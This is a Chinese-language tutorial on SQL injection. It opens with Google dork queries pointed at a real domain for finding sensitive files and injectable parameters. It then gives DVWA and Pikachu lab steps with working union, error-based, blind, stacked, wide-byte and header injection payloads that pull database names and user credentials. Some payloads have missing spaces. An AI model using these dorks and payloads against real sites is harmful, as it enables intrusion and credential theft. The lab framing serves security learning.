SQL注入

87 阅读9分钟

[TOC]

Google hack 语法

Google hack 基础语法

语法示例说明
sitesite:example.com查找特定网站上的内容
intextintext:"confidential information"在网页的正文文本中查找关键词
inurlinurl:admin login在URL中查找关键词
filetype/extfiletype:xls "budget report"查找特定类型的文件
linklink:example.com查找链接到特定页面的其他页面
cachecache:example.com查看Google缓存中的某个页面
relatedrelated:example.com查找与特定网站相关的其他网站
infoinfo:example.com查看Google关于某个网站的基本信息
definedefine:algorithm获取词义或定义

Google hack 组合技巧

PHP后缀参数
site:baidu.com ext:php inurl:?
openbugbounty关于该域名的报告
site:openbugbounty.org inurl:reports intext:"baidu.com"
敏感信息后缀
site:"baidu.com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:en
v | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git |
ext:svn | ext:htpasswd | ext:htaccess
易受XSS攻击的参数
inurl:q=| inurl:s=| inurl:search=| inurl:query=| inurl:keyword=| inur
l:lang= inurl:& site:baidu.com
开放重定向参数
inurl:url=| inurl:return=| inurl:next=| inurl:redirect=| inurl:redir=
| inurl:ret=| inurl:r2=| inurl:page= inurl:& inurl:http site:baidu.com
sql报错参数
inurl:id=| inurl:pid=| inurl:category=| inurl:cat=| inurl:action=| in
url:sid=| inurl:dir= inurl:& site:baidu.com
SSRF易发参数
inurl:http | inurl:url=| inurl:path=| inurl:dest=| inurl:html=| inurl:
data=| inurl:domain=| inurl:page= inurl:& site:baidu.com
LFI常⻅参数
inurl:include | inurl:dir | inurl:detail=| inurl:file=| inurl:folder=|
inurl:inc=| inurl:locate=| inurl:doc=| inurl:conf= inurl:& site:baidu.c
om
RCE常⻅参数
inurl:cmd | inurl:exec=| inurl:query=| inurl:code=| inurl:do=| inurl:r
un=| inurl:read=| inurl:ping= inurl:& site:baidu.com
敏感关键字
inurl:config | inurl:env | inurl:setting | inurl:backup | inurl:admin | in
url:php site:baidu.com
敏感参数
inurl:email=| inurl:phone=| inurl:password=| inurl:secret= inurl:& site
:baidu.com
API⽂档
inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:
"baidu.com"
代码泄露
site:pastebin.com "baidu.com"
site:jsfiddle.net "baidu.com"
site:codebeautify.org "baidu.com"
site:codepen.io "baidu.com"
云存储
site:s3.amazonaws.com "baidu.com"
site:blob.core.windows.net "baidu.com"
site:googleapis.com "baidu.com"

例子:搜索php网站的后台地址

搜索方式:

  1. inurl:"/admin/login.php"

  2. site:example.com filetype:php inurl:login

管理系ログイン

Sussex Direct Login Page

ログイン

欢迎管理员进入智多星管理系统

Login - NEXT CARGO

欢迎登陆网站管理中心

四川文理学院档案馆

管理员登录 - 湖北职业技术学院招生信息查询系统

LSHTM 登录

ShanghaiTech University

其他搜索语法

Github 语法

类型例子说明
文件类型搜索这将搜索名称中包含“test”的文件
语言特定搜索language:python test这将搜索 Python 文件中包含 test 的内容
路径搜索path:/src/main/java test这将搜索 /src/main/java 路径下包含 test 的文件
用户或组织搜索user:octocat repo:gists test这将搜索 octocat 用户的 gists 仓库中包含 test 的文件
排除特定内容"hello world" -test这将搜索包含“hello world”但不包含“test”的所有文件
范围搜索size:>1000 extension:py这将搜索大于 1000 字节且扩展名为 .py 的所有文件
创建时间搜索created:>=2021-01-01这将搜索在 2021 年 1 月 1 日及之后创建的所有文件
更新时间搜索updated:<2021-01-01这将搜索在 2021 年 1 月 1 日之前更新的所有文件

SQL 注入漏洞简介

1. 漏洞简介

Web应⽤程序对⽤户输⼊数据的合法性没有校验或过滤不严,攻击者可以在Web应⽤程序中事先定义好的查询语句结尾添加额外的SQL语句,在系统运维⼈员不知情的情况下实现⾮法操作,以此来实现欺骗数据库服务器执⾏⾮授权的任意查询操作,从⽽进⼀步得到相应的数据信息。

2. 漏洞危害

危害较⾼的漏洞,可以获取敏感信息,修改信息,脱库,上传Webshell,执⾏命令。

脱库:也称为拖库,是指黑客通过非法手段获取网站的数据库,从而盗取会员信息或其他敏感信息的行为

3. 参数类型

当输⼊的参数类型(Type)为整形时,若存在注⼊漏洞,称为数字型注⼊。

1.加单引号,URL:www.text.com/text.php?id=1'
#sql语句出错,此时可以判断⼤概率存在注⼊。
2.and 1=1,URL:www.text.com/text.php?id=1 and 1=1
#语句执⾏正常,与原始⻚⾯⽆任何差异。
3.and 1=2,URL:www.text.com/text.php?id=1 and 1=2
#语句可以正常执⾏,但是⽆法查询出结果,返回数据与原始⽹⻚存在差异。

当输⼊的参数类型(Type)为字符串时,若存在注⼊漏洞,称为字符型注⼊。

尝试输⼊: 1' or 1=1 -- a

出现下面的界面即存在注入:

image-20250804192107510.png


SQL 注入漏洞分类

搭建靶场

  1. 打开docker,输入命令:
sudo docker run -d -p 28080:80 -p 33306:3306 sagikazarmark/dvwa

补充端口简介:

本机8080端口用于服务器和代理服务

本机80端口用于网站访问

本机3306端口用于连接MySQL服务器

image-20250806172606124.png

  1. 访问 ip:28080进入dvwa

image-20250805212716013.png

  1. 连接MySQL服务器

    默认账号密码:root p@ssw0rd

    可以通过命令进入容器内部操作MySQL

    docker exec -it 容器码 /bin/bash
    mysql -u root -pp@ssw0rd
    

image-20250806210630654.png

1. Union 注入

使⽤Union注⼊的前提条件:Union all左右两边的查询列数⼀致,⻚⾯上有显示位。

1' order by 2 -- a
#查询结果应为正常

直到出现错误即超出查询列数

image-20250806172433085.png

# 确定显示位
1' union select 1,2 -- a
# 爆出数据库名和版本信息
1' union select database(),version() -- a

image-20250806174319454.png

image-20250806174355352.png

重要数据位置

SCHEMATA:表⾥包含所有数据库的名字 TABLES:表⾥包含所有数据库的所有表 COLUMNS:表⾥包含所有数据库的所有表的所有字段

TABLE_SCHEMA:数据库名 TABLE_NAME:表名 COLUMN_NAME:字段名

联合注入的过程

  1. 判断是否存在注⼊,注⼊是字符型还是整数型

  2. 猜解SQL查询语句中的字段数(order by)

  3. 确定显示位

  4. 获取当前数据库(爆库)

    1' union select 1,group_concat(schema_name) from information_schema.schemata-- a
    
  5. 获取数据库中的表(爆表)

    1' union select 1,group_concat(table_name) from information_schema.tables w
    here table_schema ='dvwa'-- a
    

image-20250806175541116.png

  1. 获取表中的字段名(爆字段)

    1' union select 1,group_concat(column_name) from information_schema.columns w
    here table_schema ='dvwa' and table_name ='users'-- a
    

image-20250806180342746.png

  1. 下载数据(爆数据)

备注:GROUP_CONCAT()函数将组中的字符串连接成为单个字符串。

2. 报错注入

报错注入主要是利⽤数据库报错来进⾏判断是否存在注⼊点。

常⽤的特殊字符:' \ ; %00 ) ( # "

出现报错即存在报错注入。

image-20250806181058799.png

在MySQL⾼版本(⼤于5.1版本)中添加了对XML⽂档进⾏查询和修改的函数,这两个函数常⽤于报错注 ⼊:

extractvalue()
updatexml()
# 爆库名
1' and extractvalue(1,concat(0x7e,database())); -- a
# 获取第⼀个表的名字
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.
tables where table_schema=database() limit 0,1),0x7e),1); -- a
# 获取第⼆个表的名字
1' andupdatexml(1,concat(0x7e,(selecttable_name frominformation_schema.
tables wheretable_schema=database() limit 1,1),0x7e),1); -- a
# 爆表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from in
formation_schema.tables where table_schema=database()))); -- a
# 爆第一个列名
1' and extractvalue(1,concat(0x7e,(select column_name from information_sch
ema.columns where table_name='users' limit 0,1))); -- a
# 得到⽤户名密码
1' andextractvalue(1,concat(0x7e,(selectuser fromusers whereuser_id=1)
)); -- a
1' and extractvalue(1,concat(0x7e,(select password from users where user_i
d=1))); -- a

注意: select * from table limit m,n ,其中 m 是指记录开始,从 0 开始,表示第⼀条记 录; n 是指从第 m+1 条开始,取 n 条。

image-20250806181915574.png

image-20250806192313545.png

image-20250806194130605.png

3. 盲注

布尔盲注

只会根据注⼊信息返回True或者False,没有之前的查询信息或者报错信息。

1
#结果exits
'
#结果missing

构造真假条件返回对应不同的结果,可知存在SQL盲注漏洞。

字符型:
1' and 1=1 -- a
#结果exits
1' and 1=2 -- a
#结果missing
数字型:
1 and 1=1 -- a
#结果exits
1 and 1=2 -- a
#结果missing

判断数据库名称的⻓度(⼆分法思维)

1' and length(database())>10; -- a
#  MISSING
1' and length(database())>5; -- a
# MISSING
1' and length(database())>3; -- a
# exists
1' and length(database())=4; -- a
# exists

image-20250806191511807.png 判断数据库名称的字符组成元素

1' and ascii(substr(database(),1,1))>88; -- a
# exists
1' andascii(substr(database(),1,1))>98; -- a
# exists
1' and ascii(substr(database(),1,1))>100; -- a
#  MISSING
1' andascii(substr(database(),1,1))=100; -- a
#  exists

image-20250806191832903.png

时间盲注

界⾯返回值只有⼀种True,⽆论输⼊任何值,返回情况都会按正常来处理。加⼊特定的时间函数,通过 查看WEB⻚⾯返回的时间差来判断注⼊的语句是否正确。

用if语句和sleep函数判断语句是否被正常执行。

1' and if(length(database())=4,sleep(5),1); -- a

或者用and语句,当前面的语句为真才会继续执行sleep语句。

1' and length(database())=4 and sleep(5); -- a

4. 堆叠查询

将原来的语句构造完后加上分号,代表该语句结束,后⾯再输⼊的就是⼀个全新的SQL语句,这个时候使⽤增删改查毫⽆限制。

堆叠注⼊的使⽤条件⼗分有限,⼀旦能够被使⽤,可能对⽹站造成很⼤的威胁。

select * from users;show databases;

image-20250806210903714.png

5. 二次注入

二次注入指将恶意数据用转义字符添加进表中,取出时造成二次注入。

⽐如在第⼀次插⼊数据的时候,数据中带有单引号,直接插⼊到了数据库中;然后在下⼀次使⽤中在拼 凑的过程中,就形成了⼆次注⼊。

6. 宽字节注入

安装环境

docker pull area39/pikachu
docker run -d -p 8000:80 area39/pikachu

点击初始化

原理

利用宽字节跳出单引号闭环。宽字节注⼊利⽤MySQL的⼀个特性,使⽤GBK编码的时候,会认为两个字符是⼀个汉字。

%df%27 ===>addslashes函数 ===> %df%5c%27 ===> 数据库GBK ===> 運'

前端输⼊ %df%27 时⾸先经过 addslashes() 函数转义变成了 %df%5c%27(%5c是反斜杠 \ ),之后在数据库查询前因为设置了GBK编码,即在汉字编码范围内两个字节都会被重新编码为⼀个汉字。然后MySQL服务器就会对查询语句进⾏GBK编码,即 %df%5c 转换成了汉字"運",使得单引号成功逃逸,进⽽实现SQL注⼊漏洞。

image-20250806202956511.png

7. http header 和 cookie 注入

有些时候,后台开发⼈员为了验证客户端头信息(⽐如常⽤的cookie验证), 或者通过http header头信息获取客户端的⼀些资料,会获取客户端的http header字段内容并使⽤SQL进⾏处理,如果此时没有⾜够的安全校验,则可能会导致基于http header的SQL注⼊漏洞。

进⼊pikachu的 http header 来进⾏⼀下测试,

image-20250806205003334.png

我们来看⼀下刚才的抓包,将它发送到Repeater⾥⾯,将User-Agent的值删掉,⾃⼰构造⼀个,还是按照之前的思路,先输⼊⼀个单引号

image-20250806205231678.png

发现报出了错误,接下来的步骤就很简单了,跟前⾯的报错注⼊是⼀样的。

' or updatexml(1,concat (0x7e,database()),0) or '

image-20250806205419399.png